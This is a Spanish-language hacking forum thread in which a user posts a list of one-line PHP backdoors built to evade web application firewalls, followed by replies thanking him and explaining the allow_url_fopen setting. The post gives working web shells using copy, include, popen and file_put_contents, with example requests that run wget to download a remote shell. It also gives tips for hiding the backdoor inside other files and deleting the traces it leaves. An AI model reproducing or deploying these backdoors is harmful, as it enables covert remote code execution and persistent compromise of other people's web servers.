[PHP] Lista de backdoors inúsuales [WAF Bypass].

Iniciado por Nobody, Julio 22, 2018, 10:34:35 PM

Tema anterior - Siguiente tema

0 Miembros y 4 Visitantes están viendo este tema.

¡Hola a todos! ¿Cómo les va?

Estoy al tanto de la creciente necesidad de backdoors fáciles de camuflar y con capacidades para evadir Web Application Firewalls —WAF, de ahora en más—. Por lo cual, mediante esta publicación, les ofrezco una lista de backdoors de tan solo una línea, capaces de evadir WAF.

Advertencia: En esta lista no incluiré funciones obsoletas a partir de PHP 7.2.
Referencia: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

1. copy() - Requiere: allow_url_fopen. (nunca antes la vi, se me ocurrió recientemente)
Código: php
<?php copy($_GET['s'], $_GET['d']);

Citar
¿CÓMO UTILIZAR?
file.php?s=You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

2. include() - Requiere: allow_url_fopen.
Código: php
<?php include($_GET['x']);

Citar
¿CÓMO UTILIZAR?
file.php?x=You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Advertencia: Obtuve mejores resultados utilizando un servidor HTTP sin PHP, por ejemplo, en Python.

3. popen() - DETECTADA POR You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
Código: php
<?php echo fread(popen($_GET['c'],'r'),1024*4);

Citar
¿CÓMO UTILIZAR?
file.php?c=wget -O shell.php You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Advertencia: Aún siendo detectada, es mi favorita y funciona excelente.

4. file_put_contents()
Código: php
<?php file_put_contents('_c.php','<?php '.$_GET['c'].' ?>'); include '_c.php'; unlink("_c.php");

Citar
¿CÓMO UTILIZAR?
file.php?c=system('wget -O shell.php You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login');
Advertencia: unlink() es opcional, pues yo lo uso para no dejar un archivo con el código ejecutado.

SUGERENCIAS
Citar
1. Se puede anteponer @ en alguna función, para así evitar imprimir los errores de la misma. Esto es útil a la hora de esconder el backdoor dentro de un archivo.
2. Se puede reemplazar $_GET por $_REQUEST, así aceptando GET, POST y COOKIE como métodos de entrada.
3. Se puede utilizar isset() y __halt_compiler() para obtener una salida más limpia a la hora de esconder el backdoor dentro de un archivo.
Citar<?php if(isset($_GET['c']))echo fread(popen($_GET['c'],'r'),1024*4); __halt_compiler();
4. El tag de cierre de PHP no es necesario en un archivo que solo contenga código. Así mismo, se puede utilizar short tags, si éstos están habilitados.

Pues nada más... En realidad, es un post sencillito, pero seguramente a alguien le será útil  :)

Salutes,
Nobody.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muy interesante...

Me permites compartirlo en mi fan page de facebook?

NOTA: Doy credito

a lo mejor te interesa: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Pentest - Hacking & Security Services

Contact me: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muy buena recopilación @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, muchas gracias, no conocía la de copy



Gracias @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, si, puedes. No es necesario dar créditos!
Saludos.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Buen dia amigos,

Alguien podría explicarme un poco como funciona el backdoor

Citar2. include() - Requiere: allow_url_fopen.

estoy intentando ver como funciona tal como esta en el post, pero me queda la pantalla en blanco (no muestra nada), muy agradecido de antemano.

Saludos a todos
Hazlo todo tan simple como sea posible, pero no más simple. Albert Einstein

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Buen dia amigos,

Alguien podría explicarme un poco como funciona el backdoor

Citar2. include() - Requiere: allow_url_fopen.

estoy intentando ver como funciona tal como esta en el post, pero me queda la pantalla en blanco (no muestra nada), muy agradecido de antemano.

Saludos a todos

necesitas tener activado  allow_url_fopen en el archivo php.ini pones: allow_url_fopen = on, saludos
Pentest - Hacking & Security Services

Contact me: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login